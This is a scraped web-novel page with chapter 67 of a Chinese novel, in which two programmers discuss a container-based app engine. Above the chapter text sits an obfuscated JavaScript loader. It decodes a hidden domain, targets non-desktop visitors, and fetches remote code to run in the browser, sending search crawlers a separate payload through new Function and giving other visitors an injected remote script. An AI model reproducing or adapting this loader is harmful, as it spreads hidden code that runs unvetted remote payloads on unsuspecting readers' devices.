妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

67.血色风暴(前奏)(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

路舟只能无奈地摇头,“行行,温大神傲气。我安排招几个实习。应用引擎总有兴趣了吧。”

温旭伟听了,点了点头,“这还差不多。好歹有点技术功夫。说说。”

“文档在仓库里。框架已经搭建好了,类似心浪sae的东西。之前老宋不是让你调研了吗?”

温旭伟这就大叫起来了,“创新!创新!你个龟儿子能不能让我瞧瞧新东西。”

路舟一阵好笑,“老底都掏出来了。先看看吧,和心浪表层类似,但是内里实现要复杂许多。相当于构造了中间的一层,未来能够快速转向更深入的虚拟化。”

温旭伟一听,也没话再说了,只得闷起头看起路舟的文档来。

“嗯?”

他看了两眼,皱起了眉头,路舟的文档和温旭伟此前调研得出的结果大相径庭。

心浪围脖在早期,采用了热门的web语言php,目的是为了快速开发。而其本身也找来了华夏唯一一位php语言内核开发者惠新宸对整个围脖进行了大规模架构。

所以,心浪sae在前期也仅支持了php和数据库。直到后续才更新了其他语言的应用引擎。

按照温旭伟猜想,心浪sae是将每个开发者的应用用一个隔离的“沙盒”进行了隔离,也就是有权限地运行。

这样就能确保每位开发者的应用间互不影响,同时也不用担心开发者上传的代码对服务器造成安全问题。

可以说,这是常规做法,也很普遍。

而路舟的文档则是从“沙盒”又引进了“容器”的概念,并在代码demo中做了简单的实现。

这是一个更加高度自定义的虚拟环境。

“嘶!”

温旭伟看到文末,不由惊呼,这他娘的也行?这小子脑子天生和别人的不一样?

“完事看完了?”路舟听了温旭伟的惊呼后问道。

“好家伙,有点料,有点意思。”

路舟心道,“呵呵。”

这好歹也是13年由paas服务商开源出来的“docker”的原型,其由go语言实现,基于lxc这一linux内核后来集成的功能,极大地提高了“沙盒”的自由度。

虽然说,对大型云计算公司而言,这样的容器大多是量身定制,但对路舟而言,脑子有货不用,那和咸鱼有什么区别。

路舟好说歹说花了大量时间才将这个项目的原型复现出来。

梦谷云计算完全可以在这个思路下,自由地打造自己的paas平台,转型难度比心浪降低了几个维度,而探索实践又比阿里云缩短少说一年时间。

当然,项目本身思路可以参考,思路可以减少试错和摸索的时间,但是代码却不可能一蹴而就,具体实现的效果能否达到预期,就得看温旭伟对项目的理解和大型代码架构的把握。

温旭伟搓了搓手,“哎呀,路大老板。干完这票会所嫩模如何?”

“hadoop,sphinx,nginx,memcached?温哥真是热爱工作。”

“......”

', '')

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间